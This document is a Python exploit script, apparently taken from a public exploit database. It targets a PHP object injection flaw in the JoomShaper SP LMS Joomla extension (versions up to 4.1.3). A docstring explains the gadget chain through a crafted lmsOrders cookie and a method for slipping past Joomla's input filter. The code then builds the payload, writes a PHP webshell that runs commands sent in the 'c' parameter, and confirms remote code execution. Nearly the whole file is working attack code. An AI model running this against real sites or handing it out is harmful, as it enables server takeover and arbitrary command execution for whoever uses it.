Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection
Affected : JoomShaper SP LMS <= 4.1.3
Fixed : JoomShaper SP LMS >= 4.1.4
Author : Amin İsayev / Proxima Cyber Security
Joomla version note:
RCE requires Joomla < 5.2.2
Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the
gadget chain — PHP Object Injection still exists in com_splms but no
known public gadget chain leads to RCE on patched Joomla versions.
Attack chain:
lmsOrders cookie
→ unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28]
→ FormattedtextLogger.__destruct() [Joomla gadget]
→ File::write($path, $format)
→ webshell on disk
Joomla Input filter note:
$cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie.
Fix: pad format string so serialized total is divisible by 3 (no '=') and
iterate until base64 has no '/' (shifts encoding).
Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n
Usage:
python3 CVE-2026-48909_exploit.py <target> <server_path>
server_path = absolute PHP-writable path on server
Examples :
/var/www/html/tmp/x.php
/home/USER/public_html/tmp/x.php
/var/www/vhosts/site.com/httpdocs/tmp/x.php
"""
import sys
import base64
import requests
import urllib3
urllib3.disable_warnings()
CART_PATH = "/index.php?option=com_splms&view=cart"
TIMEOUT = 15
WEBSHELL = '<?php fpassthru(popen($_GET["c"],"r"));?>'
# ─── PHP serializer ───────────────────────────────────────────────────────────
def _s(s: str) -> str:
return f's:{len(s.encode())}:"{s}";'
def _pk(name: str) -> str:
"""Protected property key (null-byte notation for string concat)"""
return f'\x00*\x00{name}'
def _build_serialized(webshell_path: str, fmt: str) -> str:
"""Build the raw PHP serialized string (not yet base64)."""
entry = (
'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{'
's:4:"date";s:10:"1234567890";'
's:4:"time";s:1:"t";'
's:1:"f";s:3:"xxx";'
'}'
)
cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger'
props = (
_s(_pk('defer')) + 'b:1;' +
_s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' +
_s(_pk('path')) + _s(webshell_path) +
_s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +
_s(_pk('format')) + _s(fmt) +
_s(_pk('fields')) + 'a:0:{}'
)
return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'
def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:
"""
Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.
The filter strips '/', '=' and '+'. We avoid these by:
1. Encoding php_code as hex → no '$', '_', '{', '}', '\\n' in format
2. Padding format to make total serialized length divisible by 3 → no '=' padding
3. Iterating pad size (by 3) until base64 contains no '/' chars
Returns (base64_payload, format_length).
"""
hex_code = php_code.encode().hex()
core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'
pad_prefix = '/*'
pad_suffix = '*/;?>'
PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for target_fmt_len in range(200, 8000):
pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)
if pad_len < 0:
continue
# Quick mod-3 check with first pad_char before trying all 62
fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix
ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1')
if len(ser_probe) % 3 != 0:
continue # no pad_char can fix mod-3 alignment for this length
for pad_char in PAD_CHARS:
fmt = core + pad_prefix + pad_char * pad_len + pad_suffix
serialized = _build_serialized(webshell_path, fmt)
ser_bytes = serialized.encode('latin-1')
b64 = base64.b64encode(ser_bytes).decode()
if '/' not in b64 and '+' not in b64:
return b64, len(fmt)
raise RuntimeError("Could not find filter-safe payload — try a different path")
# ─── Exploit ──────────────────────────────────────────────────────────────────
def _server_path_to_url(server_path: str) -> str:
"""Strip webroot prefix to get the URL path."""
import re
# cPanel: /home[N]/USER/public_html/...
m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path)
if m:
return m.group(1)
# Plesk: /var/www/vhosts/DOMAIN/httpdocs/...
m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)
if m:
return m.group(1)
# Standard
for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):
if server_path.startswith(prefix):
return server_path[len(prefix):]
return server_path
def exploit(target: str, server_path: str) -> None:
url_path = _server_path_to_url(server_path)
cart_url = target.rstrip('/') + CART_PATH
shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)
session = requests.Session()
session.verify = False
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
})
print(f"[*] Target : {target}")
print(f"[*] Shell path : {server_path}")
print(f"[*] Shell URL : {shell_url}")
print("[*] Building filter-safe payload...")
payload, fmt_len = build_payload(server_path, WEBSHELL)
print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}")
print(f"[*] Payload : {payload[:60]}...")
print()
try:
r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)
status = r.status_code
if status == 500:
print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)")
elif status == 200:
print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered")
else:
print(f"[?] HTTP {status}")
except requests.RequestException as e:
print(f"[!] Request failed: {e}")
return
import time; time.sleep(1)
# Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell
print("[*] Step 1: triggering fopen/fwrite loader...")
try:
r1 = session.get(shell_url, timeout=TIMEOUT)
print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")
except requests.RequestException as e:
print(f"[!] Loader request failed: {e}")
# Step 2: verify RCE
print("[*] Step 2: checking shell...")
try:
rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)
if rv.status_code == 200 and 'uid=' in rv.text:
print(f"\n[+] SHELL ACTIVE!")
print(f"[+] id: {rv.text.strip()[:200]}")
print(f"\n curl -sk '{shell_url}?c=COMMAND'")
elif rv.status_code == 200 and len(rv.text.strip()) < 600:
print(f"\n[~] File accessible:")
print(f" {rv.text.strip()[:300]}")
print(f"\n Try again: curl -sk '{shell_url}?c=id'")
elif rv.status_code == 404:
print(f"[-] Shell not found (404) — file not written or wrong path")
print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php")
elif rv.status_code == 403:
print(f"[~] 403 — file may exist but PHP not served there")
else:
print(f"[-] HTTP {rv.status_code}")
except requests.RequestException as e:
print(f"[!] Shell check failed: {e}")
def main():
if len(sys.argv) < 3:
print(__doc__)
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
if __name__ == '__main__':
main()